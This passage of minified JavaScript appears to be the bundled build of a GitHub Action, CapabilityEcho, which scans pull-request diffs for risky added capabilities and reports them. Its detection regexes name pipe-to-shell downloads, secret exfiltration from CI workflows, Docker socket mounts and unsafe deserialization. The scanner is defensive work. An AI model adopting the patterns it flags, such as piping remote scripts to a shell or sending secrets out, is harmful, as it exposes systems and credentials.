name at runtime.",recommendation:"Avoid eval-style execution unless strictly required; never feed user input to these."}]}function detectPyUnsafeDeserialize(e,t){const n=/\bpickle\.(?:load|loads)\s*\(|\bmarshal\.(?:load|loads)\s*\(|\byaml\.load\s*\((?![^)]*Loader\s*=\s*(?:yaml\.)?SafeLoader)/i;if(!n.test(e.content)){return[]}return[{kind:"capability_echo.unsafe_deserialize_added",surface:"source",severity:t?"medium":"critical",file:e.file,line:e.line,subject:"Unsafe deserialization (Python)",message:"Added Python deserializes untrusted-shaped input (pickle / marshal / yaml.load).",recommendation:"Use yaml.safe_load and avoid pickle/marshal on data crossing trust boundaries."}]}function detectShellCapability(e){const t=[];for(const n of e){if(!(0,s.Z7)(n.file)||(0,s.w5)(n.content)){continue}t.push(...shell_capability_detectPipeToShell(n));t.push(...detectExternalDownload(n))}return t}function shell_capability_detectPipeToShell(e){if(!/(?:curl|wget|Invoke-WebRequest|iwr)[^\n|]*https?:\/\/[^\n|]*\|\s*(?:ba)?sh\b|iex\s*\(|Invoke-Expression/i.test(e.content)){return[]}return[{kind:"capability_echo.shell_pipe_to_shell",surface:"source",severity:"critical",file:e.file,line:e.line,subject:"Shell remote pipe-to-shell",message:"Added shell script downloads remote content and pipes it directly to a shell.",recommendation:"Replace remote pipe-to-shell with pinned, reviewable install steps."}]}function detectExternalDownload(e){if(!/\b(curl|wget|Invoke-WebRequest|iwr)\b[^\n]*https?:\/\//i.test(e.content)){return[]}return[{kind:"capability_echo.shell_external_download",surface:"source",severity:"medium",file:e.file,line:e.line,subject:"Shell external download",message:"Added shell script downloads content from an external URL.",recommendation:"Verify the URL, checksum or signature, and whether the download belongs in this change."}]}const x=/^\s*(?:actions|artifact-metadata|attestations|checks|code-quality|contents|deployments|discussions|id-token|issues|packages|pages|pull-requests|security-events|statuses)\s*:\s*write\b/i;function detectWorkflowPermissions(e,t={}){const n=[];const i=new Set(e.filter((e=>(0,s.Kr)(e.file)&&isPullRequestTargetLine(e.content))).map((e=>e.file)));const r=collectSecretEnvVars(e,t);for(const[e,n]of Object.entries(t)){if((0,s.Kr)(e)&&hasPullRequestTargetWorkflow(n)){i.add(e)}}for(const t of e){if(!(0,s.Kr)(t.file)){continue}n.push(...detectPullRequestTarget(t));n.push(...detectPullRequestHeadCheckoutOnTarget(t,i.has(t.file)));n.push(...detectSelfHostedRunner(t));n.push(...detectMutableActionRef(t));n.push(...detectWritePermissions(t));n.push(...detectExternalCurl(t));n.push(...detectSecretsInherit(t));n.push(...workflow_permissions_detectSecretExfil(t,r.get(t.file)??new Set));n.push(...detectDockerHostControl(t))}return n}function collectSecretEnvVars(e,t){const n=new Map;for(const t of e){if(!(0,s.Kr)(t.file)){continue}addSecretEnvVar(n,t.file,t.content)}for(const[e,i]of Object.entries(t)){if(!(0,s.Kr)(e)){continue}for(const t of i.split(/\r?\n/)){addSecretEnvVar(n,e,t)}}return n}function addSecretEnvVar(e,t,n){const i=n.match(/^\s*([A-Z_][A-Z0-9_]*)\s*:\s*.*\$\{\{\s*secrets\./i);if(!i){return}const s=e.get(t)??new Set;s.add(i[1]);e.set(t,s)}function detectWritePermissions(e){const t=e.content;if(!/permissions\s*:/i.test(t)&&!x.test(t)){return[]}if(x.test(t)){return[{kind:"capability_echo.workflow_permission_write",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions write permission",message:"Workflow grants repository or package write permissions.",recommendation:"Use the narrowest permission scope required for this job."}]}if(/^\s*permissions\s*:\s*(?:write|write-all|admin)\b/i.test(t)){return[{kind:"capability_echo.workflow_permission_write",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions broad write permission",message:"Workflow grants broad write or admin permissions.",recommendation:"Prefer explicit per-resource permissions instead of top-level write/admin."}]}return[]}function detectPullRequestTarget(e){if(!isPullRequestTargetLine(e.content)){return[]}return[{kind:"capability_echo.workflow_pull_request_target",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions pull_request_target trigger",message:"Workflow runs on pull_request_target, which can expose elevated token or secret context to PR-triggered automation.",recommendation:"Use pull_request unless elevated base-repository context is required; never run untrusted PR code with pull_request_target privileges."}]}function detectPullRequestHeadCheckoutOnTarget(e,t){if(!t||!isPullRequestHeadCheckoutLine(e.content)){return[]}return[{kind:"capability_echo.workflow_pr_head_checkout_on_target",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions PR-head checkout under pull_request_target",message:"Workflow checks out pull request head code in a pull_request_target workflow.",recommendation:"Use pull_request for untrusted PR code, or avoid checking out PR head code under pull_request_target."}]}function isPullRequestTargetLine(e){return/^\s*pull_request_target\s*:/i.test(e)}function hasPullRequestTargetWorkflow(e){return e.split(/\r?\n/).some(isPullRequestTargetLine)}function isPullRequestHeadCheckoutLine(e){return/^\s*(?:ref|repository)\s*:\s*.*github\.event\.pull_request\.head\.(?:sha|ref|repo\.full_name)/i.test(e)}function detectSelfHostedRunner(e){if(!/^\s*runs-on\s*:\s*(?:.*\bself-hosted\b|.*\[\s*self-hosted\b)/i.test(e.content)&&!/^\s*-\s*self-hosted\s*(?:#.*)?$/i.test(e.content)){return[]}return[{kind:"capability_echo.workflow_self_hosted_runner",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions self-hosted runner",message:"Workflow runs on a self-hosted runner, which can expand PR-triggered automation into private infrastructure.",recommendation:"Use GitHub-hosted runners for untrusted PR code, or isolate self-hosted runners with strict labels, permissions, and cleanup."}]}function detectMutableActionRef(e){const t=extractWorkflowUsesRef(e.content);if(!t||isLocalActionRef(t)||/^docker:\/\//i.test(t)){return[]}const n=t.lastIndexOf("@");if(n===-1){return[]}const i=t.slice(n+1);if(!isMutableActionVersionRef(i)){return[]}return[{kind:"capability_echo.workflow_mutable_action_ref",surface:"workflow",severity:"medium",file:e.file,line:e.line,subject:"GitHub Actions mutable action reference",message:"Workflow uses a mutable remote action reference.",recommendation:"Pin third-party actions to a reviewed commit SHA before merge."}]}function extractWorkflowUsesRef(e){return e.match(/^\s*(?:-\s*)?uses\s*:\s*['"]?([^'"\s#]+)['"]?/i)?.[1]}function isLocalActionRef(e){return e.startsWith("./")||e.startsWith("../")||e.startsWith("/")}function isMutableActionVersionRef(e){return/^(main|master|trunk|develop|dev|latest|head)$/i.test(e)}function detectExternalCurl(e){if(!/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(e.content)){return[]}if(!referencesExternalUrlOrVariable(e.content)){return[]}return[{kind:"capability_echo.workflow_external_curl",surface:"workflow",severity:"medium",file:e.file,line:e.line,subject:"Workflow external request",message:"Workflow step performs an external network request.",recommendation:"Verify the URL, payload, and whether the request is necessary in CI."}]}function referencesExternalUrlOrVariable(e){const t=e.match(/https?:\/\/[^\s'"`)]+/gi)??[];for(const e of t){if(!isLocalUrl(e)){return true}}if(t.length===0&&/\$\{?\w|\$\{\{/.test(e)){return true}return false}function isLocalUrl(e){return/^https?:\/\/(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])(?::\d+)?(?:[/?#]|$)/i.test(e)}function detectSecretsInherit(e){if(!/^\s*secrets\s*:\s*inherit\s*(?:#.*)?$/i.test(e.content)){return[]}return[{kind:"capability_echo.workflow_secrets_inherit",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"GitHub Actions inherited secrets",message:"Workflow passes all caller secrets to a reusable workflow.",recommendation:"Pass only explicit secrets required by the reusable workflow."}]}function workflow_permissions_detectSecretExfil(e,t){const n=e.content;const i=/\$\{\{\s*secrets\.|\$\{?\s*secrets\.|env\.[A-Z0-9_]+/i.test(n)||[...t].some((e=>referencesShellVariable(n,e)));const s=/\b(curl|wget|Invoke-WebRequest|fetch\s*\()/i.test(n);const r=/\|\s*(bash|sh|powershell|pwsh)/i.test(n);if(!i||!s){return[]}return[{kind:"capability_echo.workflow_secret_exfil_pattern",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"Workflow secret exfiltration pattern",message:"Workflow step references secrets or env values alongside an external request or shell pipe.",recommendation:"Review whether secrets could leave the runner through this step."}]}function referencesShellVariable(e,t){const n=workflow_permissions_escapeRegExp(t);return new RegExp(String.raw`(?:\$\{${n}\}|\$${n}\b|%${n}%)`).test(e)}function workflow_permissions_escapeRegExp(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function detectDockerHostControl(e){const t=[];const n=e.content;if(/\/var\/run\/docker\.sock(?::\/var\/run\/docker\.sock)?/i.test(n)){t.push({kind:"capability_echo.workflow_docker_socket_mount",surface:"workflow",severity:"critical",file:e.file,line:e.line,subject:"Workflow Docker socket mount",message:"Workflow mounts the host Docker socket, which can grant control over the runner host.",recommendation:"Avoid Docker socket mounts in CI unless the job is isolated and the image/commands are trusted."})}if(/\bdocker\s+run\b.*\s--privileged(?:\s|$)/i.test(n)){t.push({kind:"capability_echo.workflow_privileged_container",surface:"workflow",severity:"high",file:e.file,line:e.line,subject:"Workflow privileged container",message:"Workflow runs a privileged container, expanding kernel and device-level access in CI.",recommendation:"Use the narrowest container privileges required, and avoid privileged mode for agent-run code."})}return t}var $=i(665);async function runCapabilityDiff(e){const t=e.mode==="directories"?await(0,_.BH)(e.oldRoot,e.newRoot):await(0,_._u)(e.repo,e.base,e.head);const n=e.mode==="directories"?{mode:"directories",oldRoot:e.oldRoot,newRoot:e.newRoot}:{mode:"git",repo:e.repo,base:e.base,head:e.head};const[i,s]=await Promise.all([detectPackageScripts(n),detectPackageDeps(n)]);const r=[...detectWorkflowPermissions(t.addedLines,t.newFileContents),...detectDockerfileCapability(t.addedLines),...detectJsCapability(t.addedLines,t.newFileContents),...detectPyCapability(t.addedLines,t.newFileContents),...detectShellCapability(t.addedLines),...i,...s];return(0,$.LU)(r,t)}},924:(t,n,i)=>{i.d(n,{rd:()=>GitDiffSetupError,BH:()=>collectDirectoryDiff,_u:()=>collectGitDiff,Eh:()=>listGitChangedFiles,kf:()=>listPackageJsonFiles,p9:()=>readFileAtGitRef});const s=e(import.meta.url)("node:child_process");var r=i(455);var o=i(760);const a=e(import.meta.url)("node:util");var c=i(431);const l=(0,a.promisify)(s.execFile);const u=["source","package","workflow","container"];class GitDiffSetupError extends Error{base;head;constructor(e,t,n){super(e);this.base=t;this.head=n;this.name="GitDiffSetupError"}}async function collectDirectoryDiff(e,t){const n=await listScannableFiles(t);const i=[];const s=new Set;const a={};for(const c of n){const n=(0,o.join)(e,c);const l=(0,o.join)(t,c);const u=await(0,r.readFile)(l,"utf8");const f=await runGitNoIndexDiff(n,l);if(f.trim()){s.add(c);a[c]=u;i.push(...parseUnifiedDiff(f,c));continue}let p="";try{p=await(0,r.readFile)(n,"utf8")}catch{p=""}if(p===u){continue}s.add(c);a[c]=u;if(!p){i.push(...allLinesAsAdded(c,u))}}return{addedLines:i,changedFileCount:s.size,scannedSurfaces:surfacesForFiles([...s]),newFileContents:a}}async function collectGitDiff(e,t,n){const i=await gitRefExists(e,t);const s=await gitRefExists(e,n);if(!i||!s){throw new GitDiffSetupError(`CapabilityEcho could not compare base '${t}' and head '${n}'.`,t,n)}const r=await listGitChangedFiles(e,t,n);const o=r.filter(c.Iy);if(o.length===0){return{addedLines:[],changedFileCount:0,scannedSurfaces:[],newFileContents:{}}}const{stdout:a}=await l("git",["-C",e,"diff","-U0",`${t}..${n}`,"--",...o],{encoding:"utf8",maxBuffer:20*1024*1024});const u=await readChangedFilesAtRef(e,n,o);return{addedLines:parseUnifiedDiff(a).map((e=>({...e,file:normalizeGitDiffPath(e.file)}))),changedFileCount:o.length,scannedSurfaces:surfacesForFiles(o),newFileContents:u}}function parseUnifiedDiff(e,t){const n=[];let i="";let s=0;for(const r of e.split(/\r?\n/)){if(r.startsWith("+++ ")){const e=r.slice(4).trim();if(e.startsWith("b/")){i=e.slice(2)}else if(e==="/dev/null"){i=""}else{i=e}continue}if(r.startsWith("@@")){const e=r.match(/\+(\d+)(?:,(\d+))?/);s=e?Number.parseInt(e[1],10):0;continue}if(!i||i==="/dev/null"){continue}if(r.startsWith("+")&&!r.startsWith("+++")){n.push({file:(t??normalizeGitDiffPath(i)).replace(/\\/g,"/"),line:s,content:r.slice(1)});s+=1;continue}if(r.startsWith("-")&&!r.startsWith("---")){continue}if(r.startsWith(" ")||r.startsWith("\\")){s+=1}}return n}async function listScannableFiles(e,t=""){const n=await(0,r.readdir)((0,o.join)(e,t),{withFileTypes:true});const i=[];for(const s of n){if(s.name==="node_modules"||s.name===".git"){continue}const n=t?`${t}/${s.name}`:s.name;if(s.isDirectory()){i.push(...await listScannableFiles(e,n));continue}if((0,c.Iy)(n)){i.push(n.replace(/\\/g,"/"))}}return i}async function listGitChangedFiles(e,t,n){const{stdout:i}=await l("git",["-C",e,"diff","--name-only",`${t}..${n}`],{encoding:"utf8",maxBuffer:10*1024*1024});return i.split(/\r?\n/).map((e=>e.trim())).filter(Boolean).map((e=>e.replace(/\\/g,"/")))}async function runGitNoIndexDiff(e,t){try{const{stdout:n}=await l("git",["diff","--no-index","-U0",e,t],{encoding:"utf8",maxBuffer:10*1024*1024});return n}catch(e){if(isExecError(e)&&typeof e.stdout==="string"){return e.stdout}return""}}function allLinesAsAdded(e,t){const n=t.split(/\r?\n/);return n.map(((t,n)=>({file:e.replace(/\\/g,"/"),line:n+1,content:t})))}async function gitRefExists(e,t){try{await l("git",["-C",e,"rev-parse","--verify",`${t}^{commit}`]);return true}catch(e){if(isExecError(e)){return false}throw e}}function surfacesForFiles(e){const t=new Set;for(const n of e){const e=(0,c.qk)(n);if(e){t.add(e)}}return u.filter((e=>t.has(e)))}function isExecError(e){return e instanceof Error&&"code"in e}function normalizeGitDiffPath(e){return e.replace(/\\/g,"/").replace(/^[a-z]:\//i,"").replace(/^b\//,"")}async function readFileAtGitRef(e,t,n){try{const{stdout:i}=await l("git",["-C",e,"show",`${t}:${n}`],{encoding:"utf8",maxBuffer:10*1024*1024});return i}catch(e){if(isExecError(e)){return null}throw e}}async function readChangedFilesAtRef(e,t,n){const i=await Promise.all(n.map((async n=>{const i=await readFileAtGitRef(e,t,n);return i===null?undefined:[n,i]})));return Object.fromEntries(i.filter((e=>e!==undefined)))}async function listPackageJsonFiles(e,t=""){const n=await(0,r.readdir)((0,o.join)(e,t),{withFileTypes:true});const i=[];for(const s of n){if(s.name==="node_modules"||s.name===".git"){continue}const n=t?`${t}/${s.name}`:s.name;if(s.isDirectory()){i.push(...await listPackageJsonFiles(e,n));continue}if(s.name==="package.json"){i.push(n.replace(/\\/g,"/"))}}return i}function relativeFromRoots(e,t){return relative(e,t).replace(/\\/g,"/")}},431:(e,t,n)=>{n.d(t,{Iy:()=>isScannable,Kr:()=>isWorkflowFile,Mn:()=>isJsFile,UD:()=>isPyFile,Z7:()=>isShellFile,hl:()=>isTestFile,pZ:()=>isDockerfile,qk:()=>surfaceForPath,w5:()=>isCommentLine,xr:()=>isPackageJsonFile});const i=new Set([".mcp.json",".cursor/mcp.json",".vscode/mcp.json",".codeium/windsurf/mcp_config.json",".claude/settings.json",".codex/config.toml","AGENTS.md"]);function normalizeRelativePath(e){return e.replace(/\\/g,"/")}function isExcluded(e){const t=normalizeRelativePath(e);if(i.has(t)){return true}return t.startsWith(".cursor/rules/")}function isScannable(e){return surfaceForPath(e)!==undefined}function surfaceForPath(e){const t=normalizeRelativePath(e);if(isExcluded(t)){return undefined}if(t==="package.json"||t.endsWith("/package.json")){return"package"}if(t.startsWith(".github/workflows/")&&/\.(ya?ml)$/i.test(t)){return"workflow"}if(isDockerfile(t)){return"container"}if(isJsFile(t)||isPyFile(t)||isShellFile(t)){return"source"}return undefined}function isTestFile(e){const t=normalizeRelativePath(e);if(t.includes("__tests__/")||t.includes("/tests/")){return true}if(/(^|\/)test_[^/]+\.py$/i.test(t)||/_test\.py$/i.test(t)){return true}return/\.(test|spec)\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(t)}function isCommentLine(e){const t=e.trim();return t.startsWith("//")||t.startsWith("/*")||t.startsWith("*")||t.startsWith("*/")||t.startsWith("#")}function isWorkflowFile(e){const t=normalizeRelativePath(e);return t.startsWith(".github/workflows/")&&/\.(ya?ml)$/i.test(t)}function isPackageJsonFile(e){const t=normalizeRelativePath(e);return t==="package.json"||t.endsWith("/package.json")}function isJsFile(e){const t=normalizeRelativePath(e);return/\.(js|jsx|ts|tsx|mjs|cjs)$/i.test(t)}function isPyFile(e){const t=normalizeRelativePath(e);return/\.(py|pyw)$/i.test(t)}function isShellFile(e){const t=normalizeRelativePath(e);return/\.(sh|bash|zsh|ps1|psm1)$/i.test(t)}function isDockerfile(e){const t=normalizeRelativePath(e);const n=t.split("/").pop()??t;return/^Dockerfile(?:\..+)?$/i.test(n)}},665:(e,t,n)=>{n.d(t,{B1:()=>renderReport,LU:()=>createReport,qs:()=>o});const i=["AI-agent config"];const s=["critical","high","medium","low"];const r={source:"source code",package:"package manifests",workflow:"GitHub workflows",container:"container builds"};const o={none:0,low:1,medium:2,high:3,critical:4};const a={"capability_echo.external_fetch_added":"external network fetch calls","capability_echo.source_secret_exfil_pattern":"source secret exfiltration patterns","capability_echo.subprocess_spawn_added":"subprocess or shell spawn calls","capability_echo.dynamic_eval_added":"dynamic code execution","capability_echo.shell_pipe_to_shell":"shell pipe-to-shell downloads","capability_echo.shell_external_download":"shell external downloads","capability_echo.dockerfile_remote_add":"Dockerfile remote ADD instructions","capability_echo.dockerfile_pipe_to_shell":"Dockerfile pipe-to-shell builds","capability_echo.workflow_permission_write":"GitHub Actions write permissions","capability_echo.workflow_pull_request_target":"GitHub Actions pull_request_target triggers","capability_echo.workflow_pr_head_checkout_on_target":"GitHub Actions PR-head checkout under pull_request_target","capability_echo.workflow_self_hosted_runner":"GitHub Actions self-hosted runners","capability_echo.workflow_mutable_action_ref":"GitHub Actions mutable action references","capability_echo.workflow_secrets_inherit":"GitHub Actions inherited secrets","capability_echo.workflow_external_curl":"workflow external network requests","capability_echo.workflow_secret_exfil_pattern":"workflow secret exfiltration patterns","capability_echo.workflow_docker_socket_mount":"workflow Docker socket mounts","capability_echo.workflow_privileged_container":"workflow privileged containers","capability_echo.lifecycle_script_added":"npm lifecycle scripts","capability_echo.script_pipe_to_shell":"pipe-to-shell install scripts","capability_echo.script_network_command":"network or publish npm scripts","capability_echo.high_capability_dep_added":"high-capability dependency additions","capability_echo.telemetry_dep_added":"telemetry dependency additions","capability_echo.unsafe_deserialize_added":"unsafe deserialization"};function createReport(e,t){return{rating:rateFindings(e),findingCount:e.length,changedFileCount:t.changedFileCount,scannedSurfaces:t.scannedSurfaces,excludedSurfaces:[...i],surfaceSummary:buildSurfaceSummary(e),severitySummary:buildSeveritySummary(e),capabilitySummary:buildCapabilitySummary(e),topRecommendations:buildTopRecommendations(e),findings:e}}function renderReport(e,t){if(t==="json"){return`${JSON.stringify(e,null,2)}\n`}if(t==="markdown"){return renderMarkdown(e)}if(t==="github"){return renderGithubAnnotations(e)}return renderText(e)}function buildCapabilitySummary(e){const t=new Set;for(const n of e){t.add(a[n.kind]??n.kind)}return[...t]}function buildTopRecommendations(e){const t=new Set;const n=e.map(((e,t)=>({finding:e,index:t}))).sort(((e,t)=>{const n=o[t.finding.severity]-o[e.finding.severity];return n===0?e.index-t.index:n}));for(const{finding:e}of n){t.add(e.recommendation);if(t.size===3){break}}return[...t]}function rateFindings(e){let t="none";for(const n of e){if(o[n.severity]>o[t]){t=n.severity}}return t}function renderMarkdown(e){const t=[`# CapabilityEcho capability drift: ${e.rating.toUpperCase()}`,""];t.push(`Scanned executable surfaces: ${formatSurfaces(e.scannedSurfaces)}.`);t.push(`Excluded surfaces: ${e.excludedSurfaces.join(", ")}.`,"");if(e.findings.length===0){t.push("No code or workflow capability drift findings.");return`${t.join("\n")}\n`}t.push(`This diff scanned ${e.changedFileCount} changed file${e.changedFileCount===1?"":"s"}.`);t.push(`CapabilityEcho found ${e.findingCount} finding${e.findingCount===1?"":"s"}.`,"");if(e.topRecommendations.length>0){t.push("## Top recommendations","");for(const n of e.topRecommendations){t.push(`- ${n}`)}t.push("")}t.push("## Review summary","");t.push("| Surface | Findings |");t.push("| --- | ---: |");for(const n of["source","package","workflow","container"]){t.push(`| ${r[n]} | ${e.surfaceSummary[n]} |`)}t.push("");t.push("| Severity | Findings |");t.push("| --- | ---: |");for(const n of s){t.push(`| ${capitalize(n)} | ${e.severitySummary[n]} |`)}t.push("");if(e.capabilitySummary.length>0){t.push("## Capability summary","");for(const n of e.capabilitySummary){t.push(`- ${n}`)}t.push("")}for(const n of s){const i=e.findings.filter((e=>e.severity===n));if(i.length===0){continue}t.push(`## ${capitalize(n)}`,"");for(const e of i){t.push(`- **${e.subject}** [${r[e.surface]}] (${e.file}): ${e.message}`);t.push(` Recommendation: ${e.recommendation}`)}t.push("")}return`${t.join("\n").trimEnd()}\n`}function renderText(e){const t=[`CapabilityEcho capability drift: ${e.rating.toUpperCase()}`];t.push(`Scanned executable surfaces: ${formatSurfaces(e.scannedSurfaces)}.`);t.push(`Excluded surfaces: ${e.excludedSurfaces.join(", ")}.`);if(e.capabilitySummary.length>0){t.push(`Signals: ${e.capabilitySummary.join(", ")}`)}if(e.topRecommendations.length>0){t.push(`Top recommendations: ${e.topRecommendations.join(" | ")}`)}for(const n of e.findings){t.push(`[${n.severity.toUpperCase()}] ${n.subject} (${r[n.surface]}): ${n.message}`)}if(e.findings.length===0){t.push("No code or workflow capability drift findings.")}return`${t.join("\n")}\n`}function renderGithubAnnotations(e){if(e.findings.length===0){return""}return e.findings.map((e=>{const t=`CapabilityEcho ${e.severity} ${r[e.surface]} capability drift`;const n=`${e.message} Recommendation: ${e.recommendation}`;const i=[`file=${escapeProperty(e.file)}`];if(e.line&&e.line>0){i.push(`line=${e.line}`)}i.push(`title=${escapeProperty(t)}`);return`::warning ${i.join(",")}::${escapeMessage(n)}`})).join("\n")+"\n"}function escapeMessage(e){return e.replaceAll("%","%25").replaceAll("\r","%0D").replaceAll("\n","%0A")}function escapeProperty(e){return escapeMessage(e).replaceAll(":","%3A").replaceAll(",","%2C")}function capitalize(e){return`${e.slice(0,1).toUpperCase()}${e.slice(1)}`}function buildSurfaceSummary(e){return{source:e.filter((e=>e.surface==="source")).length,package:e.filter((e=>e.surface==="package")).length,workflow:e.filter((e=>e.surface==="workflow")).length,container:e.filter((e=>e.surface==="container")).length}}function buildSeveritySummary(e){return{critical:e.filter((e=>e.severity==="critical")).length,high:e.filter((e=>e.severity==="high")).length,medium:e.filter((e=>e.severity==="medium")).length,low:e.filter((e=>e.severity==="low")).length}}function formatSurfaces(e){if(e.length===0){return"none"}return e.map((e=>r[e])).join(", ")}},455:t=>{t.exports=e(import.meta.url)("node:fs/promises")},760:t=>{t.exports=e(import.meta.url)("node:path")}};var n={};function __nccwpck_require__(e){var i=n[e];if(i!==undefined){return i.exports}var s=n[e]={exports:{}};var r=true;try{t[e](s,s.exports,__nccwpck_require__);r=false}finally{if(r)delete n[e]}return s.exports}(()=>{var e=typeof Symbol==="function"?Symbol("webpack queues"):"__webpack_queues__";var t=typeof Symbol==="function"?Symbol("webpack exports"):"__webpack_exports__";var n=typeof Symbol==="function"?Symbol("webpack error"):"__webpack_error__";var resolveQueue=e=>{if(e&&e.d<1){e.d=1;e.forEach((e=>e.r--));e.forEach((e=>e.r--?e.r++:e()))}};var wrapDeps=i=>i.map((i=>{if(i!==null&&typeof i==="object"){if(i[e])return i;if(i.then){var s=[];s.d=0;i.then((e=>{r[t]=e;resolveQueue(s)}),(e=>{r[n]=e;resolveQueue(s)}));var r={};r[e]=e=>e(s);return r}}var o={};o[e]=e=>{};o[t]=i;return o}));__nccwpck_require__.a=(i,s,r)=>{var o;r&&((o=[]).d=-1);var a=new Set;var c=i.exports;var l;var u;var f;var p=new Promise(((e,t)=>{f=t;u=e}));p[t]=c;p[e]=e=>(o&&e(o),a.forEach(e),p["catch"]((e=>{})));i.exports=p;s((i=>{l=wrapDeps(i);var s;var getResult=()=>l.map((e=>{if(e[n])throw e[n];return e[t]}));var r=new Promise((t=>{s=()=>t(getResult);s.r=0;var fnQueue=e=>e!==o&&!a.has(e)&&(a.add(e),e&&!e.d&&(s.r++,e.push(s)));l.map((t=>t[e](fnQueue)))}));return s.r?r:getResult()}),(e=>(e?f(p[n]=e):u(c),resolveQueue(o))));o&&o.d<0&&(o.d=0)}})();(()=>{__nccwpck_require__.n=e=>{var t=e&&e.__esModule?()=>e["default"]:()=>e;__nccwpck_require__.d(t,{a:t});return t}})();(()=>{__nccwpck_require__.d=(e,t)=>{for(var n in t){if(__nccwpck_require__.o(t,n)&&!__nccwpck_require__.o(e,n)){Object.defineProperty(e,n,{enumerable:true,get:t[n]})}}}})();(()=>{__nccwpck_require__.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t)})();if(typeof __nccwpck_require__!=="undefined")__nccwpck_require__.ab=new URL(".",import.meta.url).pathname.slice(import.meta.url.match(/^file:\/\/\/\w:/)?1:0,-1)+"/";var i=__nccwpck_require__(929);i=await i;var s=i.g;export{s as mainAction}; \ No newline at end of file +import{createRequire as e}from"module";var t={929:(e,t,n)=>{n.a(e,(async(e,i)=>{try{n.d(t,{g:()=>mainAction});var s=n(455);var r=n.n(s);var o=n(12);var a=n(924);var c=n(665);async function mainAction(e=process.env){const t=getInput(e,"repo")||e.GITHUB_WORKSPACE||process.cwd();const n=await readEvent(e);const i=getInput(e,"base")||getDefaultBase(e,n);const s=getInput(e,"head")||getDefaultHead(e,n);const r=getInput(e,"fail-on")||"none";const l=r.toLowerCase();if(!i||!s){writeError("CapabilityEcho needs base and head refs. Pass base/head inputs or run on pull_request with actions/checkout fetch-depth: 0.");return 2}if(!isRating(l)){writeError(`Invalid fail-on value '${r}'. Use none, low, medium, high, or critical.`);return 2}let u;try{u=await(0,o.X)({mode:"git",repo:t,base:i,head:s})}catch(e){if(e instanceof a.rd){writeError(`CapabilityEcho could not compare base '${e.base}' and head '${e.head}'. Ensure actions/checkout uses fetch-depth: 0, or pass refs that exist in the checkout through the \`base\` and \`head\` inputs.`);return 2}throw e}const f=(0,c.B1)(u,"markdown");const p=(0,c.B1)(u,"json");const d=JSON.stringify({rating:u.rating,hasFindings:u.findingCount>0,findingCount:u.findingCount,changedFileCount:u.changedFileCount,surfaceSummary:u.surfaceSummary,severitySummary:u.severitySummary,capabilitySummary:u.capabilitySummary,topRecommendations:u.topRecommendations});process.stdout.write(f);process.stdout.write((0,c.B1)(u,"github"));await appendIfSet(e.GITHUB_STEP_SUMMARY,f);await writeOutput(e,"rating",u.rating);await writeOutput(e,"has-findings",String(u.findingCount>0));await writeOutput(e,"finding-count",String(u.findingCount));await writeOutput(e,"changed-file-count",String(u.changedFileCount));await writeOutput(e,"surface-summary",JSON.stringify(u.surfaceSummary));await writeOutput(e,"severity-summary",JSON.stringify(u.severitySummary));await writeOutput(e,"capability-summary",JSON.stringify(u.capabilitySummary));await writeOutput(e,"top-recommendations",JSON.stringify(u.topRecommendations));await writeOutput(e,"adoption-evidence",d);await writeOutput(e,"report-markdown",f);await writeOutput(e,"report-json",p);if(c.qs[l]>0&&c.qs[u.rating]>=c.qs[l]){writeError(`CapabilityEcho capability drift rating ${u.rating} meets fail-on threshold ${l}.`);return 1}return 0}function getInput(e,t){const n=e[`INPUT_${t.replace(/ /g,"_").toUpperCase()}`];const i=e[`INPUT_${t.replace(/[- ]/g,"_").toUpperCase()}`];return(n||i||"").trim()}async function readEvent(e){if(!e.GITHUB_EVENT_PATH){return{}}try{const t=await(0,s.readFile)(e.GITHUB_EVENT_PATH,"utf8");const n=JSON.parse(t);return isRecord(n)?n:{}}catch{return{}}}function getDefaultBase(e,t){const n=t.pull_request;if(isRecord(n)&&isRecord(n.base)&&typeof n.base.sha==="string"){return n.base.sha}if(typeof t.before==="string"){return t.before}return e.DEFAULT_BASE||""}function getDefaultHead(e,t){const n=t.pull_request;if(isRecord(n)&&isRecord(n.head)&&typeof n.head.sha==="string"){return n.head.sha}if(typeof t.after==="string"){return t.after}return e.DEFAULT_HEAD||e.GITHUB_SHA||""}async function writeOutput(e,t,n){if(!e.GITHUB_OUTPUT){return}if(n.includes("\n")||n.includes("\r")){const i=outputDelimiter(t,n);const r=n.endsWith("\n")?n:`${n}\n`;await(0,s.appendFile)(e.GITHUB_OUTPUT,`${t}<<${i}\n${r}${i}\n`,"utf8");return}await(0,s.appendFile)(e.GITHUB_OUTPUT,`${t}=${n}\n`,"utf8")}function outputDelimiter(e,t){const n=e.replace(/[^A-Za-z0-9_]+/g,"_");let i=`capabilityecho_${n}_EOF`;let s=1;while(t.includes(i)){i=`capabilityecho_${n}_EOF_${s}`;s+=1}return i}async function appendIfSet(e,t){if(!e){return}await(0,s.appendFile)(e,t,"utf8")}function writeError(e){process.stdout.write(`::error::${escapeMessage(e)}\n`)}function escapeMessage(e){return e.replaceAll("%","%25").replaceAll("\r","%0D").replaceAll("\n","%0A")}function isRating(e){return e==="none"||e==="low"||e==="medium"||e==="high"||e==="critical"}function isRecord(e){return typeof e==="object"&&e!==null&&!Array.isArray(e)}if(process.argv[1]?.endsWith("action.js")){process.exitCode=await mainAction()}i()}catch(l){i(l)}}),1)},12:(t,n,i)=>{i.d(n,{X:()=>runCapabilityDiff});var s=i(431);function detectDockerfileCapability(e){const t=[];for(const n of e){if(!(0,s.pZ)(n.file)||(0,s.w5)(n.content)){continue}t.push(...detectRemoteAdd(n));t.push(...detectPipeToShell(n))}return t}function detectRemoteAdd(e){if(!/^\s*ADD\s+https?:\/\//i.test(e.content)){return[]}return[{kind:"capability_echo.dockerfile_remote_add",surface:"container",severity:"high",file:e.file,line:e.line,subject:"Dockerfile remote ADD",message:"Dockerfile adds remote content during image build, expanding build-time network reach.",recommendation:"Download pinned artifacts with 